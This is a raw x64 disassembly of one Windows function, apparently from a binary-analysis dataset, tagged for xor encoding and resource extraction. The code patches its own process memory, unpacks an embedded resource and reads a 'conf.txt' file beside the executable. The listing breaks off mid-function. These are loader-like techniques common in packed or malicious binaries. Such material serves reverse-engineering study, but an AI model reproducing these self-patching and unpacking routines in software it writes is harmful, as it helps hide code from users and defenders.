Function at 0x140018b00
Capabilities:
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x4e8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x450], xmm6
mov qword [rbp + 0x448], 0xfffffffffffffffe
stmxcsr dword [rbp + 0x110]
or dword [rbp + 0x110], 0x8040
ldmxcsr dword [rbp + 0x110]
mov rsi, rdx
mov edi, ecx
xor eax, eax
lea rdx, [fcn.1400256b0]
nop word cs:[rax + rax]
mov rcx, qword [rax + rdx]
cmp rcx, qword [0x14006d498]
je 0x140018b7a
inc rax
cmp rax, 0x100
jne 0x140018b60
jmp 0x140018ba3
mov rcx, qword [0x140071450]
add rdx, rax
lea rax, [0x140071458]
mov qword [rsp + 0x20], rax
lea r8, [0x14006d4a0]
mov r9d, 8
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
lea rdx, [0x1400256f6]
nop dword [rax]
mov rcx, qword [rax + rdx]
cmp rcx, qword [0x14006d498]
je 0x140018bca
inc rax
cmp rax, 0x100
jne 0x140018bb0
jmp 0x140018bf3
mov rcx, qword [0x140071450]
add rdx, rax
lea rax, [0x140071458]
mov qword [rsp + 0x20], rax
lea r8, [0x14006d4a0]
mov r9d, 8
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
lea rdx, fcn.14002573c
nop dword [rax]
mov rcx, qword [rax + rdx]
cmp rcx, qword [0x14006d498]
je 0x140018c2b
inc rax
cmp rax, 0x100
jne 0x140018c00
cmp edi, 2
jne 0x140018c59
mov rcx, qword [rsi + 8]
call fcn.140014740
jmp 0x14001a31f
mov rcx, qword [0x140071450]
add rdx, rax
lea rax, [0x140071458]
mov qword [rsp + 0x20], rax
lea r8, [0x14006d4a0]
mov r9d, 8
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp edi, 2
je 0x140018c1d
lea r8, [0x140061d48]
mov edx, 0x68
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [0x14006f428], rax
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
mov rdx, qword [0x14006f428]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LockResource]
test edi, edi
je 0x140018ce2
mov rbx, rax
lea rdx, str.null
mov rcx, rax
call fcn.1400353a0
test eax, eax
je 0x140018ce2
mov r14d, edi
mov rcx, r14
call fcn.140034e98
mov rsi, rax
mov rcx, rax
mov rdx, rbx
mov r8, r14
call fcn.14001eef0
mov al, 1
test rsi, rsi
jne 0x14001930e
jmp 0x14001a31f
lea rsi, [rbp + 0x110]
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x430], xmm0
movaps xmmword [rbp + 0x420], xmm0
mov rcx, rsi
call fcn.140035420
test rax, rax
js 0x14001b58c
mov rsi, rax
cmp rax, 0xf
ja 0x140018d4f
mov qword [rbp + 0x430], rsi
mov qword [rbp + 0x438], 0xf
lea rcx, [rbp + 0x420]
lea rdx, [rbp + 0x110]
mov r8, rsi
call fcn.14001eef0
jmp 0x140018dc5
mov qword [rbp + 0x438], 0xf
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebx, 0x16
cmovae rbx, rax
cmp rbx, 0xfff
jb 0x140018d8e
lea rcx, [rbx + 0x28]
call fcn.1400270d4
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140018d9a
lea rcx, [rbx + 1]
call fcn.1400270d4
mov rdi, rax
mov qword [rbp + 0x420], rdi
mov qword [rbp + 0x430], rsi
mov qword [rbp + 0x438], rbx
lea rdx, [rbp + 0x110]
mov rcx, rdi
mov r8, rsi
call fcn.14001eef0
mov byte [rdi + rsi], 0
mov rcx, qword [rbp + 0x420]
mov r8, qword [rbp + 0x430]
mov rax, qword [rbp + 0x438]
cmp rax, 0x10
lea r14, [rbp + 0x420]
mov rdx, r14
cmovae rdx, rcx
mov rsi, 0xffffffffffffffff
test r8, r8
je 0x140018e77
xorps xmm0, xmm0
movaps xmmword [rbp + 0x50], xmm0
movaps xmmword [rbp + 0x20], xmm0
movaps xmmword [rbp + 0xf0], xmm0
movaps xmmword [rbp + 0xe0], xmm0
movaps xmmword [rbp + 0xd0], xmm0
movaps xmmword [rbp + 0xc0], xmm0
movaps xmmword [rbp + 0xb0], xmm0
movaps xmmword [rbp + 0xa0], xmm0
movaps xmmword [rbp + 0x90], xmm0
movaps xmmword [rbp + 0x80], xmm0
movaps xmmword [rbp + 0x70], xmm0
movaps xmmword [rbp + 0x60], xmm0
movaps xmmword [rbp + 0x40], xmm0
movaps xmmword [rbp + 0x30], xmm0
movaps xmmword [rbp + 0x10], xmm0
movaps xmmword [rbp], xmm0
mov byte [rbp + 0x5c], 1
mov byte [rbp + 0x2f], 1
movzx r9d, byte [rdx + r8 - 1]
cmp byte [rbp + r9], 0
je 0x14001910b
lea rsi, [rdx + r8]
dec rsi
sub rsi, rdx
cmp rax, 0x10
jb 0x140018eae
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140018ea9
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14001a2a6
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140027118
xorps xmm0, xmm0
movaps xmmword [rbp + 0x400], xmm0
movaps xmmword [rbp + 0x3f0], xmm0
lea rcx, [rbp + 0x110]
call fcn.140035420
test rax, rax
js 0x14001b58c
mov rdi, rax
cmp rax, 0xf
ja 0x140018f07
mov qword [rbp + 0x400], rdi
mov qword [rbp + 0x408], 0xf
lea rcx, [rbp + 0x3f0]
lea rdx, [rbp + 0x110]
mov r8, rdi
call fcn.14001eef0
jmp 0x140018f73
mov rax, rdi
or rax, 0xf
cmp rax, 0x17
mov r15d, 0x16
cmovae r15, rax
cmp r15, 0xfff
jb 0x140018f3c
lea rcx, [r15 + 0x28]
call fcn.1400270d4
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140018f48
lea rcx, [r15 + 1]
call fcn.1400270d4
mov rbx, rax
mov qword [rbp + 0x3f0], rbx
mov qword [rbp + 0x400], rdi
mov qword [rbp + 0x408], r15
lea rdx, [rbp + 0x110]
mov rcx, rbx
mov r8, rdi
call fcn.14001eef0
mov byte [rbx + rdi], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x430], xmm0
movaps xmmword [rbp + 0x420], xmm0
mov rax, qword [rbp + 0x400]
cmp rax, rsi
cmovb rsi, rax
cmp qword [rbp + 0x408], 0x10
jb 0x140018fa5
mov rdi, qword [rbp + 0x3f0]
jmp 0x140018fac
lea rdi, [rbp + 0x3f0]
test rsi, rsi
js 0x14001b5d2
cmp rsi, 0xf
ja 0x140018fe1
mov qword [rbp + 0x430], rsi
mov qword [rbp + 0x438], 0xf
lea rcx, [rbp + 0x420]
mov rdx, rdi
mov r8, rsi
call fcn.140029db0
jmp 0x140019057
mov qword [rbp + 0x438], 0xf
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov r15d, 0x16
cmovae r15, rax
cmp r15, 0xfff
jb 0x140019024
lea rcx, [r15 + 0x28]
call fcn.1400270d4
mov rbx, rax
add rbx, 0x27
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140019030
lea rcx, [r15 + 1]
call fcn.1400270d4
mov rbx, rax
mov qword [rbp + 0x420], rbx
mov qword [rbp + 0x430], rsi
mov qword [rbp + 0x438], r15
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call fcn.14001eef0
mov byte [rbx + rsi], 0
mov rsi, qword [rbp + 0x430]
mov r15, qword [rbp + 0x438]
mov rax, r15
sub rax, rsi
cmp rax, 9
jae 0x1400190d8
movabs rax, 0x7ffffffffffffff7
cmp rsi, rax
jge 0x14001b5d7
lea rbx, [rsi + 9]
mov rax, rbx
or rax, 0xf
js 0x14001913c
mov r12, r15
shr r12, 1
movabs r14, 0x7fffffffffffffff
mov rcx, r12
xor rcx, r14
add r12, r15
cmp rax, r12
cmova r12, rax
cmp rcx, r15
cmovae r14, r12
lea rcx, [r14 + 1]
cmp rcx, 0x1000
jb 0x14001916d
cmp rcx, 0xffffffffffffffd9
jb 0x140019150
call fcn.1400089b0
lea rax, [rsi + 9]
mov qword [rbp + 0x430], rax
cmp r15, 0x10
jb 0x1400190f0
mov r14, qword [rbp + 0x420]
movabs rax, 0x78742e666e6f635c
mov qword [r14 + rsi], rax
mov word [r14 + rsi + 8], 0x74
jmp 0x140019234
mov r9, r8
dec r9
je 0x140018e77
nop word [rax + rax]
movzx r9d, byte [rdx + r8 - 2]
cmp byte [rbp + r9], 0
jne 0x14001917c
dec r8
cmp r8, 1
jne 0x140019120
jmp 0x140018e77
movabs rcx, 0x8000000000000000
movabs r14, 0x7fffffffffffffff
add rcx, 0x27
call fcn.1400270d4
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
mov r12, r14
jmp 0x140019192
test rcx, rcx
je 0x140019189
call fcn.1400270d4
mov rdi, rax
jmp 0x140019192
lea rsi, [rdx + r8]
add rsi, 0xfffffffffffffffe
jmp 0x140018e74
mov r12, 0xffffffffffffffff
xor edi, edi
mov qword [rbp + 0x430], rbx
mov qword [rbp + 0x438], r12
cmp r15, 0x10
jb 0x140019206
mov rbx, qword [rbp + 0x420]
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call fcn.14001eef0
movabs rax, 0x78742e666e6f635c
mov qword [rdi + rsi], rax
mov word [rdi + rsi + 8], 0x74
lea rdx, [r15 + 1]
cmp rdx, 0x1000
jb 0x1400191fc
mov rax, qword [rbx - 8]
add rbx, 0xfffffffffffffff8
sub rbx, rax
cmp rbx, 0x20
jae 0x14001a2a6
add r15, 0x28
mov rdx, r15
mov rbx, rax
mov rcx, rbx
call fcn.140027118
jmp 0x14001922d
lea rdx, [rbp + 0x420]
mov rcx, rdi
mov r8, rsi
call fcn.14001eef0
movabs rax, 0x78742e666e6f635c
mov qword [rdi + rsi], rax
mov word [rdi + rsi + 8], 0x74
mov qword [rbp + 0x420], rdi
mov rax, qword [rbp + 0x420]
mov rcx, qword [rbp + 0x428]
movaps xmm0, xmmword [rbp + 0x430]
movaps xmmword [rbp + 0x10], xmm0
mov qword [rbp], rax
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 0x408]
cmp rax, 0x10
jb 0x14001929a
mov rcx, qword [rbp + 0x3f0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140019295
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14001a2a6
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140027118
cmp qword [rbp + 0x18], 0x10
jb 0x1400192a7
mov rcx, qword [rbp]
jmp 0x1400192aa
mov rcx, rbp
call fcn.140014680
test eax, eax
je 0x1400192bc
mov rsi, qword [0x14006f4b0]
jmp 0x1400192be
xor esi, esi
mov edi, dword [0x14006f4b8]
mov rax, qword [rbp + 0x18]
cmp rax, 0x10
jb 0x140019303
mov rcx, qword [rbp]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1400192fe
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14001a2a6
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140027118
xor eax, eax
test rsi, rsi
je 0x14001a31f
mov ebx, edi
xorps xmm0, xmm0
movaps xmmword [rbp + 0x430], xmm0
movaps xmmword [rbp + 0x420], xmm0
cmp edi, 0xf
mov dword [rbp + 0x3a4], eax
ja 0x140019352
mov qword [rbp + 0x430], rbx
mov qword [rbp + 0x438], 0xf
lea rcx, [rbp + 0x420]
mov rdx, rsi
mov r8, rbx
call fcn.14001eef0
jmp 0x1400193c5
mov qword [rbp + 0x438], 0xf
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x140019392
lea rcx, [r14 + 0x28]
call fcn.1400270d4
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14001939e
lea rcx, [r14 + 1]
call fcn.1400270d4
mov rdi, rax
mov qword [rbp + 0x420], rdi
mov qword [rbp + 0x430], rbx
mov qword [rbp + 0x438], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.14001eef0
mov byte [rdi + rbx], 0
mov rax, qword [rbp + 0x420]
mov rdi, qword [rbp + 0x430]
mov r8, qword [rbp + 0x438]
cmp r8, 0x10
lea rsi, [rbp + 0x420]
mov rcx, rsi
cmovae rcx, rax
test rdi, rdi
je 0x1400195bc
xorps xmm0, xmm0
movaps xmmword [rbp + 0x130], xmm0
movaps xmmword [rbp + 0x110], xmm0
movaps xmmword [rbp + 0x200], xmm0
movaps xmmword [rbp + 0x1f0], xmm0
movaps xmmword [rbp + 0x1e0], xmm0
movaps xmmword [rbp + 0x1d0], xmm0
movaps xmmword [rbp + 0x1c0], xmm0
movaps xmmword [rbp + 0x1b0], xmm0
movaps xmmword [rbp + 0x1a0], xmm0
movaps xmmword [rbp + 0x190], xmm0
movaps xmmword [rbp + 0x180], xmm0
movaps xmmword [rbp + 0x170], xmm0
movaps xmmword [rbp + 0x160], xmm0
movaps xmmword [rbp + 0x150], xmm0
movaps xmmword [rbp + 0x140], xmm0
movaps xmmword [rbp + 0x120], xmm0
mov byte [rbp + 0x130], 1
mov dword [rbp + 0x119], 0x1010101
mov byte [rbp + 0x11d], 1
jle 0x1400194e2
lea r9, [rcx + rdi]
xor edx, edx
nop dword [rax + rax]
movzx r10d, byte [rcx + rdx]
cmp byte [rbp + r10 + 0x110], 0
je 0x1400194b1
lea r10, [rcx + rdx]
inc r10
inc rdx
cmp r10, r9
jb 0x140019490
jmp 0x1400194e2
cmp rdx, 0xffffffffffffffff
je 0x1400194e2
cmp rdi, rdx
cmovb rdx, rdi
sub rdi, rdx
lea r8, [rdi + 1]
add rdx, rcx
call fcn.140029db0
mov qword [rbp + 0x430], rdi
mov rax, qword [rbp + 0x420]
mov r8, qword [rbp + 0x438]
cmp r8, 0x10
mov rcx, rsi
cmovae rcx, rax
test rdi, rdi
je 0x1400195bc
xorps xmm0, xmm0
movaps xmmword [rbp + 0x130], xmm0
movaps xmmword [rbp + 0x110], xmm0
movaps xmmword [rbp + 0x200], xmm0
movaps xmmword [rbp + 0x1f0], xmm0
movaps xmmword [rbp + 0x1e0], xmm0
movaps xmmword [rbp + 0x1d0], xmm0
movaps xmmword [rbp + 0x1c0], xmm0
movaps xmmword [rbp + 0x1b0], xmm0
movaps xmmword [rbp + 0x1a0], xmm0
movaps xmmword [rbp + 0x190], xmm0
movaps xmmword [rbp + 0x180], xmm0
movaps xmmword [rbp + 0x170], xmm0
movaps xmmword [rbp + 0x160], xmm0
movaps xmmword [rbp + 0x150], xmm0
movaps xmmword [rbp + 0x140], xmm0
movaps xmmword [rbp + 0x120], xmm0
mov byte [rbp + 0x130], 1
mov dword [rbp + 0x119], 0x1010101
mov byte [rbp + 0x11d], 1
movzx edx, byte [rcx + rdi - 1]
cmp byte [rbp + rdx + 0x110], 0
je 0x1400195cd
mov rdx, rdi
dec rdx
je 0x140019614
mov rdx, rdi
nop dword [rax + rax]
movzx r9d, byte [rcx + rdx - 2]
cmp byte [rbp + r9 + 0x110], 0
je 0x1400195d6
dec rdx
cmp rdx, 1
jne 0x1400195a0
jmp 0x140019614
xorps xmm0, xmm0
movaps xmmword [rbp + 0x3f0], xmm0
xor edi, edi
mov rsi, rcx
jmp 0x140019640
lea rdx, [rcx + rdi]
dec rdx
jmp 0x1400195dd
add rdx, rcx
add rdx, 0xfffffffffffffffe
sub rdx, rcx
cmp rdx, 0xffffffffffffffff
je 0x140019614
cmp rdi, rdx
jbe 0x14001b5eb
lea rax, [rdx + 1]
mov qword [rbp + 0x430], rax
mov byte [rcx + rdx + 1], 0
mov rax, qword [rbp + 0x420]
mov rdi, qword [rbp + 0x430]
mov r8, qword [rbp + 0x438]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x3f0], xmm0
movaps xmmword [rbp + 0x400], xmm0
cmp r8, 0x10
cmovae rsi, rax
test rdi, rdi
js 0x14001b5dc
cmp rdi, 0xf
ja 0x140019dbe
mov qword [rbp + 0x400], rdi
mov qword [rbp + 0x408], 0xf
movups xmm0, xmmword [rsi]
movaps xmmword [rbp + 0x3f0], xmm0
xorps xmm6, xmm6
movaps xmmword [rbp + 0x3b0], xmm6
mov qword [rbp + 0x3c0], 0
movaps xmmword [rbp + 0x110], xmm6
mov qword [rbp + 0x120], 0
mov qword [rbp + 0x128], 0xf
xor r13d, r13d
lea r12, [rbp + 0x110]
xor eax, eax
mov qword [rbp + 0x3e0], rax
xor edx, edx
xor edi, edi
xor ebx, ebx
jmp 0x1400196c0
mov qword [rbp + 0x120], 0
mov byte [rax], 0
inc ebx
mov eax, ebx
cmp qword [rbp + 0x400], rax
jbe 0x140019d39
cmp qword [rbp + 0x408], 0x10
lea rcx, [rbp + 0x3f0]
jb 0x1400196e7
mov rcx, qword [rbp + 0x3f0]
movzx esi, byte [rcx + rax]
mov r14, qword [rbp + 0x120]
cmp sil, 0xa
jne 0x140019770
cmp qword [rbp + 0x128], 0x10
mov rax, r12
jb 0x14001970c
mov rax, qword [rbp + 0x110]
mov byte [r14 + rax - 1], 0
mov rdx, qword [rbp + 0x3c0]
cmp rdi, rdx
je 0x140019862
movups xmmword [rdi + 0x10], xmm6
movups xmmword [rdi], xmm6
cmp qword [rbp + 0x128], 0x10
mov r14, r12
jb 0x14001973d
mov r14, qword [rbp + 0x110]
mov r15, qword [rbp + 0x120]
test r15, r15
js 0x14001b587
cmp r15, 0xf
ja 0x140019914
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], 0xf
movups xmm0, xmmword [r14]
movups xmmword [rdi], xmm0
jmp 0x1400199c1
mov dword [rbp + 0x410], ebx
mov rbx, qword [rbp + 0x128]
cmp r14, rbx
jae 0x1400197c0
lea rax, [r14 + 1]
mov qword [rbp + 0x120], rax
mov rax, r12
cmp rbx, 0x10
jb 0x14001979d
mov rax, qword [rbp + 0x110]
mov byte [rax + r14], sil
mov byte [rax + r14 + 1], 0
mov ebx, dword [rbp + 0x410]
inc ebx
jmp 0x1400196c0
mov qword [rbp + 0x418], r13
mov qword [rbp + 0x3d8], rdx
movabs r12, 0x7fffffffffffffff
cmp r14, r12
je 0x14001b591
lea rax, [r14 + 1]
mov qword [rbp + 0x3e8], rax
or rax, 0xf
movabs rcx, 0x8000000000000000
js 0x140019842
mov r13, rbx
shr r13, 1
mov rcx, r13
movabs rdx, 0x7fffffffffffffff
xor rcx, rdx
add r13, rbx
cmp rax, r13
cmova r13, rax
cmp rcx, rbx
mov r12, r13
cmovb r12, rdx
lea rcx, [r12 + 1]
cmp rcx, 0x1000
jb 0x140019976
cmp rcx, 0xffffffffffffffd9
jae 0x14001b5c8
add rcx, 0x27
call fcn.1400270d4
mov r15, rax
add r15, 0x27
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
mov r13, r12
jmp 0x140019c60
mov dword [rbp + 0x410], ebx
mov rbx, qword [rbp + 0x3b0]
mov rsi, rdi
sub rsi, rbx
sar rsi, 5
lea r12, [rsi + 1]
mov rdx, rsi
shr rdx, 1
movabs rcx, 0x7ffffffffffffff
mov rax, rcx
sub rax, rdx
add rdx, rsi
cmp rdx, r12
cmovbe rdx, r12
cmp rsi, rax
cmova rdx, rcx
mov rax, rdx
shr rax, 0x3b
jne 0x14001b5a2
mov rax, rdx
shl rax, 5
mov qword [rbp + 0x3d8], rax
cmp rdx, 0x80
mov qword [rbp + 0x3e8], rdx
jb 0x14001995c
movabs rax, 0x7ffffffffffffff
cmp rdx, rax
jae 0x14001b5c3
mov rax, qword [rbp + 0x3d8]
lea rcx, [rax + 0x27]
call fcn.1400270d4
mov rcx, rax
add rcx, 0x27
and rcx, 0xffffffffffffffe0
mov rdx, rcx
mov qword [rbp + 0x418], rcx
mov qword [rcx - 8], rax
jmp 0x1400199e1
mov dword [rbp + 0x410], ebx
mov rbx, rdx
mov qword [rdi + 0x18], 0xf
mov rsi, r15
or rsi, 0xf
cmp rsi, 0x17
mov eax, 0x16
cmovb rsi, rax
cmp rsi, 0xfff
jb 0x14001998c
lea rcx, [rsi + 0x28]
call fcn.1400270d4
mov rcx, rax
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140019995
test rdx, rdx
je 0x1400199d8
mov rcx, qword [rbp + 0x3d8]
call fcn.1400270d4
mov qword [rbp + 0x418], rax
jmp 0x1400199e1
test rcx, rcx
je 0x140019c4e
call fcn.1400270d4
mov r15, rax
jmp 0x140019c60
lea rcx, [rsi + 1]
call fcn.1400270d4
mov qword [rdi], rax
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], rsi
inc r15
mov rcx, rax
mov rdx, r14
mov r8, r15
call fcn.14001eef0
mov rdx, rbx
lea r12, [rbp + 0x110]
mov ebx, dword [rbp + 0x410]
mov rdi, qword [rbp + 0x3b8]
add rdi, 0x20
mov qword [rbp + 0x3b8], rdi
jmp 0x140019c31
xor eax, eax
mov qword [rbp + 0x418], rax
shl rsi, 5
mov rax, qword [rbp + 0x418]
movups xmmword [rax + rsi + 0x10], xmm6
movups xmmword [rax + rsi], xmm6
mov r13, qword [rbp + 0x120]
cmp qword [rbp + 0x128], 0x10
lea r15, [rbp + 0x110]
jb 0x140019a14
mov r15, qword [rbp + 0x110]
mov rax, qword [rbp + 0x418]
lea rdx, [rax + rsi]
add rdx, 0x20
test r13, r13
js 0x14001b596
lea rcx, [rax + rsi]
cmp r13, 0xf
ja 0x140019a53
mov qword [rax + rsi + 0x10], r13
mov qword [rax + rsi + 0x18], 0xf
movups xmm0, xmmword [r15]
movups xmmword [rcx], xmm0
mov r13, rax
jmp 0x140019adf
mov qword [rbp + 0x398], rdx
mov qword [rbp + 0x3e0], rcx
mov qword [rax + rsi + 0x18], 0xf
mov r14, r13
or r14, 0xf
cmp r14, 0x17
mov eax, 0x16
cmovb r14, rax
cmp r14, 0xfff
jb 0x140019aa1
lea rcx, [r14 + 0x28]
call fcn.1400270d4
mov rcx, rax
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140019aaa
lea rcx, [r14 + 1]
call fcn.1400270d4
mov r9, qword [rbp + 0x418]
lea rcx, [r9 + rsi]
add rcx, 0x18
mov rdx, qword [rbp + 0x3e0]
mov qword [rdx], rax
mov qword [r9 + rsi + 0x10], r13
mov qword [rcx], r14
inc r13
mov rcx, rax
mov rdx, r15
mov r8, r13
mov r13, r9
call fcn.14001eef0
mov rsi, rdi
cmp rbx, rdi
je 0x140019b3b
xor eax, eax
nop dword [rax]
movups xmmword [r13 + rax + 0x10], xmm6
movups xmmword [r13 + rax], xmm6
movups xmm0, xmmword [rbx + rax]
movups xmm1, xmmword [rbx + rax + 0x10]
movups xmmword [r13 + rax + 0x10], xmm1
movups xmmword [r13 + rax], xmm0
mov qword [rbx + rax + 0x10], 0
mov qword [rbx + rax + 0x18], 0xf
mov byte [rbx + rax], 0
lea rcx, [rbx + rax]
add rcx, 0x20
add rax, 0x20
cmp rcx, rdi
jne 0x140019af0
mov rsi, rbx
test rsi, rsi
mov ebx, dword [rbp + 0x410]
je 0x140019bfa
cmp rsi, rdi
jne 0x140019b81
mov rdx, rdi
jmp 0x140019bca
call fcn.140027118
mov qword [rsi + 0x10], 0
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
add rsi, 0x20
cmp rsi, rdi
je 0x140019bbc
mov rax, qword [rsi + 0x18]
cmp rax, 0x10
jb 0x140019b65
mov rcx, qword [rsi]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140019b60
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14001a2a6
add rax, 0x28
mov rdx, rax
mov rcx, r8
jmp 0x140019b60
mov rdi, qword [rbp + 0x3b0]
mov rdx, qword [rbp + 0x3c0]
sub rdx, rdi
cmp rdx, 0x1000
jb 0x140019bf2
mov rax, qword [rdi - 8]
sub rdi, rax
add rdi, 0xfffffffffffffff8
cmp rdi, 0x20
jae 0x14001a2a6
add rdx, 0x27
mov rdi, rax
mov rcx, rdi
call fcn.140027118
mov qword [rbp + 0x3b0], r13
shl r12, 5
add r12, r13
mov qword [rbp + 0x3b8], r12
mov rdx, qword [rbp + 0x3d8]
add rdx, r13
mov qword [rbp + 0x3c0], rdx
mov qword [rbp + 0x3e0], r13
mov rdi, r12
lea r12, [rbp + 0x110]
cmp qword [rbp + 0x128], 0x10
mov rax, r12
jb 0x1400196b0
mov rax, qword [rbp + 0x110]
jmp 0x1400196b0
mov r13, 0xffffffffffffffff
xor r15d, r15d
nop dword [rax + rax]
mov rax, qword [rbp + 0x3e8]
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], r13
cmp rbx, 0x10
jb 0x140019cf8
mov r12, qword [rbp + 0x110]
mov rcx, r15
mov rdx, r12
mov r8, r14
call fcn.14001eef0
mov byte [r15 + r14], sil
mov byte [r15 + r14 + 1], 0
lea rdx, [rbx + 1]
cmp rdx, 0x1000
mov r13, qword [rbp + 0x418]
jb 0x140019cce
mov rax, qword [r12 - 8]
add r12, 0xfffffffffffffff8
sub r12, rax
cmp r12, 0x20
jae 0x14001a2a6
add rbx, 0x28
mov rdx, rbx
mov r12, rax
mov rcx, r12
call fcn.140027118
mov qword [rbp + 0x110], r15
mov ebx, dword [rbp + 0x410]
inc ebx
mov rdx, qword [rbp + 0x3d8]
lea r12, [rbp + 0x110]
jmp 0x1400196c0
mov rcx, r15
lea r12, [rbp + 0x110]
mov rdx, r12
mov r8, r14
call fcn.14001eef0
mov byte [r15 + r14], sil
mov byte [r15 + r14 + 1], 0
mov qword [rbp + 0x110], r15
mov ebx, dword [rbp + 0x410]
inc ebx
mov rdx, qword [rbp + 0x3d8]
mov r13, qword [rbp + 0x418]
jmp 0x1400196c0
mov qword [rbp + 0x418], r13
mov r15, qword [rbp + 0x120]
movabs rsi, 0x7fffffffffffffff
cmp r15, rsi
je 0x14001b5cd
mov rbx, rdx
mov rax, qword [rbp + 0x110]
mov qword [rbp + 0x410], rax
mov r13, qword [rbp + 0x128]
xorps xmm0, xmm0
movaps xmmword [rbp], xmm0
movaps xmmword [rbp + 0x10], xmm0
lea r12, [r15 + 1]
cmp r12, 0x10
jb 0x140019db4
mov rax, r12
or rax, 0xf
js 0x140019e07
cmp rax, 0x17
mov esi, 0x16
cmovae rsi, rax
lea rcx, [rsi + 1]
cmp rsi, 0xfff
jae 0x140019e11
call fcn.1400270d4
mov r14, rax
jmp 0x140019e29
mov r14, rbp
mov esi, 0xf
jmp 0x140019e2d
mov qword [rbp + 0x408], 0xf
mov rax, rdi
or rax, 0xf
cmp rax, 0x17
mov ebx, 0x16
cmovae rbx, rax
cmp rbx, 0xfff
jb 0x140019f1c
lea rcx, [rbx + 0x28]
call fcn.1400270d4
mov rcx, rax
add rcx, 0x27
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
jmp 0x140019f28
movabs rcx, 0x8000000000000000
add rcx, 0x27
call fcn.1400270d4
mov r14, rax
add r14, 0x27
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
mov qword [rbp], r14
cmp r13, 0x10
lea rdx, [rbp + 0x110]
cmovae rdx, qword [rbp + 0x410]
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], rsi
mov rcx, r14
mov r8, r15
call fcn.14001eef0
mov word [r14 + r15], 0
cmp rdi, rbx
je 0x140019e7e
movaps xmm0, xmmword [rbp]
movaps xmm1, xmmword [rbp + 0x10]
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
add rdi, 0x20
mov qword [rbp + 0x3b8], rdi
jmp 0x14001a07e
mov rsi, rbx
mov r13, qword [rbp + 0x3e0]
sub rsi, r13
sar rsi, 5
lea rdi, [rsi + 1]
mov rax, rsi
shr rax, 1
movabs rdx, 0x7ffffffffffffff
mov rcx, rdx
sub rcx, rax
add rax, rsi
cmp rax, rdi
cmovbe rax, rdi
cmp rsi, rcx
cmova rax, rdx
mov rcx, rax
shr rcx, 0x3b
jne 0x14001b5e1
mov r15, rax
shl r15, 5
cmp rax, 0x80
mov r12, qword [rbp + 0x418]
jb 0x140019f0a
movabs rcx, 0x7ffffffffffffff
cmp rax, rcx
jae 0x14001b5e6
lea rcx, [r15 + 0x27]
call fcn.1400270d4
mov r14, rax
add r14, 0x27
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140019f53
test rax, rax
je 0x140019f50
mov rcx, r15
call fcn.1400270d4
mov r14, rax
jmp 0x140019f53
lea rcx, [rbx + 1]
call fcn.1400270d4
mov rcx, rax
mov qword [rbp + 0x3f0], rcx
mov qword [rbp + 0x400], rdi
mov qword [rbp + 0x408], rbx
inc rdi
mov rdx, rsi
mov r8, rdi
call fcn.14001eef0
jmp 0x14001965c
xor r14d, r14d
shl rsi, 5
movaps xmm0, xmmword [rbp]
movaps xmm1, xmmword [rbp + 0x10]
movups xmmword [r14 + rsi + 0x10], xmm1
